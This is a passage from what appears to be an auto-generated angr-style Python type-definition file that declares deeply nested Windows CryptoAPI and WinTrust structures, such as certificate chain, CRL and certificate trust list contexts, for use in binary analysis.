label="UInt32"), "csCounterSigners": SimTypeInt(signed=False, label="UInt32"), "pasCounterSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "pChainContext": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "cChain": SimTypeInt(signed=False, label="UInt32"), "rgpChain": SimTypePointer(SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "cElement": SimTypeInt(signed=False, label="UInt32"), "rgpElement": SimTypePointer(SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pCertContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCertEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCertEncoded": SimTypeInt(signed=False, label="UInt32"), "pCertInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CERT_CONTEXT", pack=False, align=None), offset=0), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "pRevocationInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwRevocationResult": SimTypeInt(signed=False, label="UInt32"), "pszRevocationOid": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pvOidSpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "fHasFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwFreshnessTime": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pBaseCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pDeltaCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pCrlEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "fDeltaCrlEntry": SimTypeInt(signed=True, label="Int32")}, name="CERT_REVOCATION_CRL_INFO", pack=False, align=None), offset=0)}, name="CERT_REVOCATION_INFO", pack=False, align=None), offset=0), "pIssuanceUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pApplicationUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pwszExtendedErrorInfo": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_CHAIN_ELEMENT", pack=False, align=None), offset=0), offset=0), "pTrustListInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pCtlEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "pCtlContext": SimTypePointer(SimStruct({"dwMsgAndCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCtlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCtlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SubjectUsage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), "ListIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SequenceNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "SubjectAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "cCTLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCTLEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CTL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pbCtlContent": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlContent": SimTypeInt(signed=False, label="UInt32")}, name="CTL_CONTEXT", pack=False, align=None), offset=0)}, name="CERT_TRUST_LIST_INFO", pack=False, align=None), offset=0), "fHasRevocationFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwRevocationFreshnessTime": SimTypeInt(signed=False, label="UInt32")}, name="CERT_SIMPLE_CHAIN", pack=False, align=None), offset=0), offset=0), "cLowerQualityChainContext": SimTypeInt(signed=False, label="UInt32"), "rgpLowerQualityChainContext": SimTypePointer(SimTypePointer(SimTypeBottom(label="CERT_CHAIN_CONTEXT"), offset=0), offset=0), "fHasRevocationFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwRevocationFreshnessTime": SimTypeInt(signed=False, label="UInt32"), "dwCreateFlags": SimTypeInt(signed=False, label="UInt32"), "ChainId": SimTypeBottom(label="Guid")}, name="CERT_CHAIN_CONTEXT", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_SGNR", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pCert": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCertEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCertEncoded": SimTypeInt(signed=False, label="UInt32"), "pCertInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CERT_CONTEXT", pack=False, align=None), offset=0), "fCommercial": SimTypeInt(signed=True, label="Int32"), "fTrustedRoot": SimTypeInt(signed=True, label="Int32"), "fSelfSigned": SimTypeInt(signed=True, label="Int32"), "fTestCert": SimTypeInt(signed=True, label="Int32"), "dwRevokedReason": SimTypeInt(signed=False, label="UInt32"), "dwConfidence": SimTypeInt(signed=False, label="UInt32"), "dwError": SimTypeInt(signed=False, label="UInt32"), "pTrustListContext": SimTypePointer(SimStruct({"dwMsgAndCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCtlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCtlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SubjectUsage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), "ListIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SequenceNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "SubjectAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "cCTLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCTLEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CTL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pbCtlContent": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlContent": SimTypeInt(signed=False, label="UInt32")}, name="CTL_CONTEXT", pack=False, align=None), offset=0), "fTrustListSignerCert": SimTypeInt(signed=True, label="Int32"), "pCtlContext": SimTypePointer(SimStruct({"dwMsgAndCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCtlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCtlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SubjectUsage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), "ListIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SequenceNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "SubjectAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "cCTLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCTLEntry": SimTypePointer(SimStruct({"SubjectIdentifier": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "cAttribute": SimTypeInt(signed=False, label="UInt32"), "rgAttribute": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cValue": SimTypeInt(signed=False, label="UInt32"), "rgValue": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0)}, name="CRYPT_ATTRIBUTE", pack=False, align=None), offset=0)}, name="CTL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CTL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pbCtlContent": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCtlContent": SimTypeInt(signed=False, label="UInt32")}, name="CTL_CONTEXT", pack=False, align=None), offset=0), "dwCtlError": SimTypeInt(signed=False, label="UInt32"), "fIsCyclic": SimTypeInt(signed=True, label="Int32"), "pChainElement": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pCertContext": 